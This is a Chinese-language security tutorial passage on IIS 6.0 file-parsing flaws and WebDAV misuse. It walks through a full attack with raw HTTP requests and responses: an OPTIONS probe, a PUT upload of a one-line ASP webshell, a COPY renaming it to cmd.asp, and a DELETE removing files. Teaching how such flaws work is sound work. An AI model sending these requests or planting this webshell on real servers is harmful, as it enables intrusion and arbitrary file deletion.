IIS 6.0在解析文件时存在以下两个解析漏洞。
①当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
例如:建立文件夹 parsing.asp,在 parsing.asp 文件夹内新建一个文本文档 test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
“NOW()”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在 parsing.asp文件夹中,却被当作ASP脚本来解析。
② 当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行如:新建文件 test.asp;1.jpg,内容为<%=NOW()%>
微软并不认为这是一个漏洞,也一直没有推出IIS 6.0的补丁,所以这两个"漏洞"至今还存在,让无数的网站“死”在了IIS 6.0解析漏洞之上。
说到IIS容器,就不得不提起一个经典的漏洞,漏洞名为WebDav。
WebDav(Web-based Distributed Authoring and Versioning)是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使HTTP协议更强大。
在开启WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete等方法,就可能会存在一些安全隐患,比如www.secbug.org服务器(IIS 6.0 Web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者就可能通过PUT方法向服务器上传危险脚本文件,测试步骤如下。
第一步:通过OPTIONS探测服务器所支持的HTTP方法。请求:
OPTIONS / HTTP/1.1 Host:www.secbug.org
响应:
HTTP/1.1 200 OK
Cache-Control:private
Date: Mon,19 Aug 2013 09:41:45 GMT
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPPATCH, SEARC H,MKCOL,LOCK,UNLOCK Content-Length: 0
Accept-Ranges: none
Server: Microsoft-IIS/6.0 MS-Author-Via: DAV DASL:<DAV:sql>DAV: 1, 2
Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH Set-Cookie:_D_SID=89113465;path=/;
第二步:通过PUT方法向服务器上传脚本文件。
请求:
PUT/a.txt HTTP/1.1
Host:www.secbug.org
Content-Length:30
<%eval request("chopper")%>
响应:
HTTP/1.1 201 Created
Date: Mon,19 Aug 2013 09:48:10 GMT
Allow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,COPY,MOVE,PROPFIND,PROPPATCH, SEARCH,LOCK,UNLOCK Content-Length: 0
Location:http://www.secbug.org/a.txt Server: Microsoft-IIS/6.0
第三步:通过Move或Copy方法改名
COPY /a.txt HTTP/1.1
Host:www.secbug.org
Destination:http://www.secbug.org/cmd.asp
HTTP/1.1 201 Created
Date: Mon,19 Aug 2013 09:53:43 GMT
Content-Length: 0
Content-Type: text/xml
Location:http://www.secbug.org/cmd.asp
Server: Microsoft-IIS/6.0
通过这三个步骤,攻击者就可以轻易获取一个WebShell。
如果服务器开启了DELETE方法,攻击者还可以删除服务器上的任意文件。
DELETE /a.txt HTTP/1.1 Host:www.secbug.org
HTTP/1.1 200 OK
Date: Mon,19 Aug 2013 10:02:08 GMT
Content-Length: 0
Server: Microsoft-IIS/6.0
Set-Cookie: _D_SID=89113465;
path=/;